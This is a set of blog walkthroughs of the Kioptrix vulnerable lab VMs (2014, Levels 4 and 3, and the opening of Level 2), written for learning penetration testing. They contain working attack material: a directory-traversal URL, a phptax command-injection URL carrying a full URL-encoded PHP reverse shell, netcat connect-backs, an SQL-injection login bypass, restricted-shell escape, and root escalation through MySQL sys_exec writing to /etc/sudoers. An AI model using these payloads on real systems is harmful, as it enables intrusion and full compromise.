Kioptrix 2014 - Walktrough

loneferret released a new Kioptrix VM after about two years. I think it became really nice, I enjoyed going through it, and getting root at the end. You can download it from here: http://www.kioptrix.com/blog/a-new-vm-after-almost-2-years/. Here comes my solution.

Step 1: Find the VM on the local LAN.

I used a quick portscan on my entire LAN to identify the VM:

root@kali:~# nmap -P0 192.168.198.0/24

(...)

Nmap scan report for 192.168.198.138

Host is up (0.00037s latency).

Not shown: 997 filtered ports

PORT     STATE  SERVICE

22/tcp   closed ssh

80/tcp   open   http

8080/tcp open   http-proxy

MAC Address: 00:0C:29:0D:2E:C0 (VMware)

(...)

Step 2: Port scan

As I had time, and run this on my local computer, I decided to go for a really extensive scan:

root@kali:~# nmap -sS -A 192.168.198.138 -p1-65535

Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-22 16:19 EDT

Nmap scan report for 192.168.198.138

Host is up (0.00065s latency).

Not shown: 65532 filtered ports

PORT     STATE  SERVICE VERSION

22/tcp   closed ssh

80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

| http-methods: Potentially risky methods: TRACE

|_See http://nmap.org/nsedoc/scripts/http-methods.html

|_http-title: Site doesn't have a title (text/html).

8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

|_http-open-proxy: ERROR: Script execution failed (use -d to debug)

|_http-title: 403 Forbidden

MAC Address: 00:0C:29:0D:2E:C0 (VMware)

Device type: general purpose|specialized|router|firewall|WAP|broadband router

Running (JUST GUESSING): FreeBSD 9.X|7.X|8.X (94%), VMware ESX Server 4.X (92%), Juniper embedded (90%), IBM AIX 5.X (90%), IronPort AsyncOS 6.X (89%), Papouch embedded (89%), AirSpan embedded (89%), Cisco embedded (88%)

OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:vmware:esxi:4.0:1 cpe:/h:juniper:m7i cpe:/o:ibm:aix:5 cpe:/o:ironport:asyncos:6 cpe:/h:cisco:epc3925

Aggressive OS guesses: FreeBSD 9.0-RELEASE (94%), FreeBSD 7.0-RELEASE - 9.0-RELEASE (93%), FreeBSD 7.0-RC1 (92%), FreeBSD 7.1-RELEASE (92%), VMware ESXi Server 4.0.1 (92%), FreeBSD 7.0-STABLE (91%), Juniper M7i router (90%), IBM AIX 5.3 (90%), IronPort C150 email security appliance (AsyncOS 6.5.3) (89%), Papouch TME Ethernet thermometer (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

TRACEROUTE

HOP RTT     ADDRESS

1   0.65 ms 192.168.198.138

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 199.47 seconds

Step 3: Web Application #1

As we see not much is open, and it's clear that we have a FreeBSD at the other side. I didn't dare to go for the SSH, so let's the HTTP ports. If we open the page at port 80, we got the default page of Apache, saying "It works". BUT! Let's have a closer look at the source:

It says "pChart 2.1.3". Of course, we have a public exploit for this: http://www.exploit-db.com/exploits/31173/ It says that the app has a nice directory traversal vulnerability, if we try t, it really works:

http://192.168.198.138/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

http://192.168.198.138/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/www/apache22/data2/phptax/index.php

We get the contents of these files. I always try /etc/shadow, I really didn't expect it to work, and it really didn't, but you never know when someone runs the webserver as root.

Step 4: Web application #2

If we go to port 8080, we got this, which is really disappointing.

So let's have a look on the downloaded Apache config file, it has a very important configuration at the end of the file:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>

    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">

    Options Indexes FollowSymLinks

    AllowOverride All

    Order allow,deny

    Allow from env=Mozilla4_browser

</Directory>

</VirtualHost>

It basically says, that you can access port 8080 only if you have a user agent starting with "Mozilla/4.0". I used the "User Agent Switcher" addon for Mozilla, what you can download from here: https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

After switching my user agent, I could access port 8080, and it was running the phptax web application.

and of course it also has its own public exploit: http://www.exploit-db.com/exploits/21665/ which allows remote command execution. This was a tricky part, cause it didn't work as easy as I expected. Simply running the examples, like reverse shell with netcat, didn't do anything. I found out its path, and it had to be specified exactly:

http://192.168.198.138:8080/phptax/index.php?pfilez=1040d1-pg2.tob;/usr/bin/nc -nvv 192.168.198.137 1234;&pdf=make

but even with this, the connection was always immediately terminated:

and if I tried to add the "-e /bin/sh" parameter for netcat it didn't even connected, it seems that the FreeBSD version of netcat doesn't have this feature.

I could however create files:

http://192.168.198.138:8080/phptax/index.php?pfilez=1040d1-pg2.tob;echo "<?php phpinfo() ?>" > a.php;&pdf=make

So I uploaded a reverse PHP shell, had to URL encode:

http://192.168.198.138:8080/phptax/index.php?pfilez=1040d1-pg2.tob;echo%20%22%3C?php%20set_time_limit%20%280%29;%20\%24VERSION%20=%20\%221.0\%22;%20\%24ip%20=%20\%22192.168.198.137\%22;%20\%24port%20=%201234;%20\%24chunk_size%20=%201400;%20\%24write_a%20=%20null;%20\%24error_a%20=%20null;%20\%24shell%20=%20\%22uname%20-a;%20w;%20id;%20/bin/sh%20-i\%22;%20\%24daemon%20=%200;%20\%24debug%20=%200;%20%20if%20%28function_exists%28\%22pcntl_fork\%22%29%29%20{%20%20\%24pid%20=%20pcntl_fork%28%29;%20%20%20%20if%20%28\%24pid%20==%20-1%29%20{%20%20%20printit%28\%22ERROR:%20Cant%20fork\%22%29;%20%20%20exit%281%29;%20%20}%20%20%20%20if%20%28\%24pid%29%20{%20%20%20exit%280%29;%20%20}%20%20%20if%20%28posix_setsid%28%29%20==%20-1%29%20{%20%20%20printit%28\%22Error:%20Cant%20setsid%28%29\%22%29;%20%20%20exit%281%29;%20%20}%20%20%20\%24daemon%20=%201;%20}%20else%20{%20%20printit%28\%22WARNING:%20Failed%20to%20daemonise.%20%20This%20is%20quite%20common%20and%20not%20fatal.\%22%29;%20}%20%20chdir%28\%22/\%22%29;%20%20umask%280%29;%20\%24sock%20=%20fsockopen%28\%24ip,%20\%24port,%20\%24errno,%20\%24errstr,%2030%29;%20if%20%28!\%24sock%29%20{%20%20printit%28\%22\%24errstr%20%28\%24errno%29\%22%29;%20%20exit%281%29;%20}%20%20\%24descriptorspec%20=%20array%28%20%20%20%200%20=%3E%20array%28\%22pipe\%22,%20\%22r\%22%29,%20%20%20%201%20=%3E%20array%28\%22pipe\%22,%20\%22w\%22%29,%20%20%20%202%20=%3E%20array%28\%22pipe\%22,%20\%22w\%22%29%20%29;%20%20\%24process%20=%20proc_open%28\%24shell,%20\%24descriptorspec,%20\%24pipes%29;%20%20if%20%28!is_resource%28\%24process%29%29%20{%20%20printit%28\%22ERROR:%20Cant%20spawn%20shell\%22%29;%20%20exit%281%29;%20}%20%20stream_set_blocking%28\%24pipes[0],%200%29;%20stream_set_blocking%28\%24pipes[1],%200%29;%20stream_set_blocking%28\%24pipes[2],%200%29;%20stream_set_blocking%28\%24sock,%200%29;%20%20printit%28\%22Successfully%20opened%20reverse%20shell%20to%20\%24ip:\%24port\%22%29;%20%20while%20%281%29%20{%20%20if%20%28feof%28\%24sock%29%29%20{%20%20%20printit%28\%22ERROR:%20Shell%20connection%20terminated\%22%29;%20%20%20break;%20%20}%20%20%20if%20%28feof%28\%24pipes[1]%29%29%20{%20%20%20printit%28\%22ERROR:%20Shell%20process%20terminated\%22%29;%20%20%20break;%20%20}%20%20%20\%24read_a%20=%20array%28\%24sock,%20\%24pipes[1],%20\%24pipes[2]%29;%20%20\%24num_changed_sockets%20=%20stream_select%28\%24read_a,%20\%24write_a,%20\%24error_a,%20null%29;%20%20%20if%20%28in_array%28\%24sock,%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22SOCK%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24sock,%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22SOCK:%20\%24input\%22%29;%20%20%20fwrite%28\%24pipes[0],%20\%24input%29;%20%20}%20%20%20if%20%28in_array%28\%24pipes[1],%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22STDOUT%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24pipes[1],%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22STDOUT:%20\%24input\%22%29;%20%20%20fwrite%28\%24sock,%20\%24input%29;%20%20}%20%20%20if%20%28in_array%28\%24pipes[2],%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22STDERR%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24pipes[2],%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22STDERR:%20\%24input\%22%29;%20%20%20fwrite%28\%24sock,%20\%24input%29;%20%20}%20}%20%20fclose%28\%24sock%29;%20fclose%28\%24pipes[0]%29;%20fclose%28\%24pipes[1]%29;%20fclose%28\%24pipes[2]%29;%20proc_close%28\%24process%29;%20%20function%20printit%20%28\%24string%29%20{%20%20if%20%28!\%24daemon%29%20{%20%20%20print%20\%22\%24string\n\%22;%20%20}%20}%20%20?%3E%22%20%3E%20b.php;&pdf=make

Started a listener on my attacker machine, and got shell:

root@kali:~# nc -lnp 1234

FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

 3:56PM  up 37 mins, 0 users, load averages: 0.00, 0.01, 0.01

USER       TTY      FROM                      LOGIN@  IDLE WHAT

uid=80(www) gid=80(www) groups=80(www)

sh: can't access tty; job control turned off

$ id

uid=80(www) gid=80(www) groups=80(www)

Step5: Privilege escalation

Probably this was the easiest step for me, quick search for an exploit for FreeBSD 9.0 got me one:

root@kali:~# searchsploit freebsd 9.0

 Description                                                                 Path

--------------------------------------------------------------------------- -------------------------

(...)

FreeBSD 9.0-9.1 mmap/ptrace Privilege Esclation Exploit                     /freebsd/local/26368.c

root@kali:~# locate 26368.c

/usr/share/exploitdb/platforms/freebsd/local/26368.c

http://www.exploit-db.com/exploits/26368/

As wget wasn't available for me on FreeBSD, I moved the file with ncat.

root@kali:~/kio2014# nc -lvp 1111 < priv.c 

nc: listening on :: 1111 ...

nc: listening on 0.0.0.0 1111 ...

nc: connect to 192.168.198.137 1111 from 192.168.198.138 (192.168.198.138) 31287 [31287]

^C

root@kali:~/kio2014# ls -l priv.c 

-rwxr-xr-x 1 root root 2215 May 22 15:51 priv.c

--------------------------------

$ cd /tmp

$ nc -n 192.168.198.137 1111 > priv.c   

$ ls -l priv.c

-rw-rw-rw-  1 www  wheel  2215 May 22 16:01 priv.c

After compiling, and running it, I got root!

$ gcc priv.c -o priv

$ ls -l

total 40

-rw-------  1 www    wheel     0 May 22 15:19 apraLsYg5

srwxrwxrwx  1 mysql  wheel     0 May 22 15:19 mysql.sock

-rwxrwxrwx  1 www    wheel  8495 May 22 16:01 priv

-rw-rw-rw-  1 www    wheel  2215 May 22 16:01 priv.c

drwxr-xr-x  2 root   wheel   512 Oct  7  2013 vmware-fonts0

$ ./priv

id

uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)

That's All folks!

Kioptrix Level 4 - Walkthrough

OK, so I got to the final level. As always I started with a port scan:

root@kali:~/kioptrix-level4# nmap -sS -A 192.168.1.21

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 06:34 CET
Nmap scan report for 192.168.1.21
Host is up (0.00039s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D5:AC:F6 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2013-11-07T01:34:57-05:00
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.1.21

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.09 seconds

As the host had SMB service, I run another NMAP script to enumerate users:

root@kali:~/kioptrix-level4# nmap -sS -A --script smb-enum-users 192.168.1.21 -p445

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 07:04 CET
Nmap scan report for 192.168.1.21
Host is up (0.00035s latency).
PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D5:AC:F6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
| smb-enum-users:
|   KIOPTRIX4\john (RID: 3002)
|     Full name:   ,,,
|     Flags:       Normal user account
|   KIOPTRIX4\loneferret (RID: 3000)
|     Full name:   loneferret,,,
|     Flags:       Normal user account
|   KIOPTRIX4\nobody (RID: 501)
|     Full name:   nobody
|     Flags:       Normal user account
|   KIOPTRIX4\robert (RID: 3004)
|     Full name:   ,,,
|     Flags:       Normal user account
|   KIOPTRIX4\root (RID: 1000)
|     Full name:   root
|_    Flags:       Normal user account

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 192.168.1.21

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds

I saved the information (was useful at the next step), and went to the webpage. I really liked the nice little goat picture :)

This time I tried to login as one of the users, so for the user I entered john, and for password:
' OR 1=1 #

and I got to a webpage showing a password.

With this I could get the following passwords:

Username : robert   Password : ADGAdsafdfwt4gadfga==
Username : john   Password : MyNameIsJohn

loneferret and root gave an error, so those are not exists in the web app, or there is something else with them (later it turned out they do not exists). I used these password to SSH into the system, and I could get in with both of them.

Unfortunately I got only a limited shell, with allowing to execute only a couple of commands. Fortunately we can escape from it with a simple trick: execute "echo os.system('/bin/bash')".

root@kali:~# ssh -l john 192.168.1.21
john@192.168.1.21's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ netstat -antp
*** unknown command: netstat
john:~$ ps -aux
*** unknown command: ps
john:~$ ls
john:~$ pwd
*** unknown command: pwd
john:~$ help
cd  clear  echo  exit  help  ll  lpath  ls
john:~$ 

john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ 

ps aux showed that the mysql process is running with root privileges:

root      4055  1.7  5.0 128132 26152 ?        Sl   01:22   1:53 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var

I really wanted to get in, so I went to the web app, and looked for the mysql password, which was actually empty.

john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

john@Kioptrix4:/var/www$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 133426
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

There is a nice privilege escalation method with this version (and earlier) of the DB, is basically creating a user defined function, which will run with root privileges. The function will execute system commands for us.

More info here:

http://www.exploit-db.com/exploits/1518/

Instead of the exploit we can also use this one:

https://github.com/mysqludf/lib_mysqludf_sys

I downloaded the so file, but had some trouble sending it over, cause I couldn't connect back to my machine with HTTP, TFTP, or FTP. I finally found that SSH is working, so I used SCP to transfer it over. It worked only with executing it from the victim, the other way SCP was blocked.

robert@Kioptrix4:~$ scp root@192.168.1.17:~/kioptrix-level4/lib_mysqludf_sys.so ~/
The authenticity of host '192.168.1.17 (192.168.1.17)' can't be established.
RSA key fingerprint is 53:bd:7e:52:65:39:a3:84:70:31:66:10:73:f5:d6:b6.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.17' (RSA) to the list of known hosts.
root@192.168.1.17's password:
lib_mysqludf_sys.so                                                                                                100%   13KB  12.6KB/s   00:00   
robert@Kioptrix4:~$ ls
lib_mysqludf_sys.so
robert@Kioptrix4:~$

It turned out that this file already exists and loaded, and I shouldn't make this extra work.

mysql> select * from foo2 into dumpfile '/usr/lib/lib_mysqludf_sys.so';

ERROR 1086 (HY000): File '/usr/lib/lib_mysqludf_sys.so' already exists

I had some issues with the function execution, so recreated them:

mysql> DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;

Query OK, 0 rows affected (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_get;

Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_set;

Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_exec;

Query OK, 0 rows affected (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_eval;

Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>

mysql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';

Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';

Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';

Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;

+-----------------------+-----+---------------------+----------+

| name                  | ret | dl                  | type     |

+-----------------------+-----+---------------------+----------+

| sys_get               |   0 | lib_mysqludf_sys.so | function |

| lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function |

| sys_set               |   2 | lib_mysqludf_sys.so | function |

| sys_exec              |   2 | lib_mysqludf_sys.so | function |

| sys_eval              |   0 | lib_mysqludf_sys.so | function |

+-----------------------+-----+---------------------+----------+

5 rows in set (0.00 sec)

I tried to open a reverse shell, but it didn't work out, so finally I just updated the sudoers file with adding robert, and that worked. I also copied the shadow file and sudoers files to my home directory which I don't show here.

mysql> use mysql

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Database changed

mysql> select sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");

+--------------------------------------------------------+

| sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers") |

+--------------------------------------------------------+

|                                                      0 |

+--------------------------------------------------------+

1 row in set (0.01 sec)

mysql> exit

Bye

robert@Kioptrix4:~$ sudo bash

[sudo] password for robert:

root@Kioptrix4:~# id

uid=0(root) gid=0(root) groups=0(root)

root@Kioptrix4:~# ls /root/

congrats.txt  lshell-0.9.12

root@Kioptrix4:~# cat /root/congrats.txt

Congratulations!

You've got root.

(...)

#Other ways:

I also found that you can run sqlmap against the webapp to make SQL injection, but that wasn't my way doing it.

-----

I really enjoyed going through all levels, thanks to the developers of these VMs.

Kioptrix Level 3 - Walkthrough

It's definitely getting more difficult. Let's see. The NMAP scan showed the following:

root@kali:~# nmap -sS -A 192.168.1.20

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-03 22:04 CET
Nmap scan report for 192.168.1.20
Host is up (0.00062s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:17:F3:43 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.62 ms 192.168.1.20

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

I went to the website, and after some navigation I found that it's running Lotus CMS web application.

I found two exploits on exploit-db, one of them was for Metasploit, which I didn't wanted to use (although I tried the exploit and it worked), and the other didn't work. I found another one, which is a bash script of the Metasploit version:

https://github.com/Hood3dRob1n/LotusCMS-Exploit/blob/master/lotusRCE.sh

It worked really nice, and I got a reverse shell:

About to try and inject reverse shell....
what IP to use?
192.168.1.17
What PORT?
4444

OK, open your local listener and choose the method for back connect:
1) NetCat -e        3) NetCat Backpipe    5) Exit
2) NetCat /dev/tcp  4) NetCat FIFO
#? 1

---------------------------

root@kali:~# nc -lvvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.20] 59701
python -c 'import pty;pty.spawn("/bin/sh")'
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
pwd
/home/www/kioptrix3.com

I tried quite a few local privilege escalation exploits but neither of them worked.

I did some further enumeration and found that there is an interesting file which has the suid bit set (/usr/local/bin/ht).

$ find / -perm -u=s -type f 2>/dev/null     
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/apache2/suexec
/usr/lib/pt_chown
/usr/bin/arping
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/at
/usr/bin/sudoedit
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/local/bin/ht
/usr/sbin/pppd
/usr/sbin/uuidd
/lib/dhcp3-client/call-dhclient-script
/bin/fusermount
/bin/ping
/bin/mount
/bin/umount
/bin/ping6
/bin/su

However I couldn't run it from here, cause I didn't have full terminal access. I need SSH! Argh...

I moved on to do some further enumeration. In the passwd file I found 2 other normal users (beside root):

root:x:0:0:root:/root:/bin/bash
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash

I looked on the webapp configs hoping I will find a password for the MySQL database on the system. I found it in the gconfig.php file:

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ cat gconfig.php
cat gconfig.php
<?php
    error_reporting(0);
    /*
        A sample Gallarific configuration file. You should edit
        the installer details below and save this file as gconfig.php
        Do not modify anything else if you don't know what it is.
    */

    // Installer Details -----------------------------------------------

    // Enter the full HTTP path to your Gallarific folder below,
    // such as http://www.yoursite.com/gallery
    // Do NOT include a trailing forward slash

    $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

    $GLOBALS["gallarific_mysql_server"] = "localhost";
    $GLOBALS["gallarific_mysql_database"] = "gallery";
    $GLOBALS["gallarific_mysql_username"] = "root";
    $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

    // Setting Details -------------------------------------------------

if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
        echo("A connection to the database couldn't be established: " . mysql_error());
        die();
}else {
    if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
        echo("The Gallarific database couldn't be opened: " . mysql_error());
        die();
    }else {
        $settings=mysql_query("select * from gallarific_settings");
        if(mysql_num_rows($settings)!=0){
            while($data=mysql_fetch_array($settings)){
                $GLOBALS["{$data['settings_name']}"]=$data['settings_value'];
            }
        }
   
    }
}

?>
www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$

I logged in to the database and after browsing the tables, I found passwords for the two users on the machine.

mysql> select * from gallarific_users
select * from gallarific_users
    -> ;
;
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
| userid | username | password | usertype  | firstname | lastname | email | datejoined | website | issuperuser | photo | joincode |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
|      1 | admin    | n0t7t1k4 | superuser | Super     | User     |       | 1302628616 |         |           1 |       |          |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
1 row in set (0.01 sec)

mysql> select * from dev_accounts
select * from dev_accounts
    -> ;
;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
|  2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+----+------------+----------------------------------+
2 rows in set (0.00 sec)

mysql>

After doing a Google search I found the password for the MD5 hashes:

md5(Mast3r) = 0d3eccfb887aabd50f243b3f155c0f85
md5(starwars) = 5badcaf789d3d1d09794d8f021f40f0e

It turned out that both passwords were working on SSH as well. The better account was "loneferret". After login I found that it can run "ht" editor with root privileges.

I could open the shadow file:

But it takes lot of time to find the password for root. I could open the sudoers file:

This is a very poor editor, works only in hex, so the simpliest was to modify the line:

loneferret ALL=NOPASSWD:  !/usr/bin/su, /usr/local/bin/ht

to

loneferret ALL=NOPASSWD:      /bin/su, /usr/local/bin/ht 

That means that I can run the "su" command as well, w/o password.

After saving I could run "sudo su", and I got root access.

Kioptrix Level 2 - Walkthrough

So, Level 1 was way too easy, Level 2 was a little bit trickier, but also not hard. I found it more interesting. Let's see:

The detailed NMAP scan results were the following:

root@kali:~# nmap -sS -A 192.168.1.19

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-03 08:15 CET

Nmap scan report for 192.168.1.19

Host is up (0.00035s latency).

Not shown: 994 closed ports

PORT     STATE SERVICE  VERSION

22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)

|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)

|_sshv1: Server supports SSHv1

80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

111/tcp  open  rpcbind  2 (RPC #100000)

| rpcinfo:

|   program version   port/proto  service

|   100000  2            111/tcp  rpcbind

|   100000  2            111/udp  rpcbind

|   100024  1            623/udp  status

|_  100024  1            626/tcp  status

443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Not valid before: 2009-10-07T23:10:47+00:00

|_Not valid after:  2010-10-07T23:10:47+00:00

|_ssl-date: 2013-11-03T04:05:56+00:00; -3h09m48s from local time.

| sslv2:

|   SSLv2 supported

|   ciphers:

|     SSL2_DES_192_EDE3_CBC_WITH_MD5

|     SSL2_RC2_CBC_128_CBC_WITH_MD5

|     SSL2_RC4_128_WITH_MD5

|     SSL2_RC4_64_WITH_MD5

|     SSL2_DES_64_CBC_WITH_MD5

|     SSL2_RC2_CBC_128_CBC_WITH_MD5

|_    SSL2_RC4_128_EXPORT40_WITH_MD5

631/tcp  open  ipp      CUPS 1.1

| http-methods: Potentially risky methods: PUT

|_See http://nmap.org/nsedoc/scripts/http-methods.html

|_http-title: 403 Forbidden

3306/tcp open  mysql    MySQL (unauthorized)

MAC Address: 00:0C:29:91:C9:95 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.30

Network Distance: 1 hop

TRACEROUTE

HOP RTT     ADDRESS

1   0.35 ms 192.168.1.19

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds

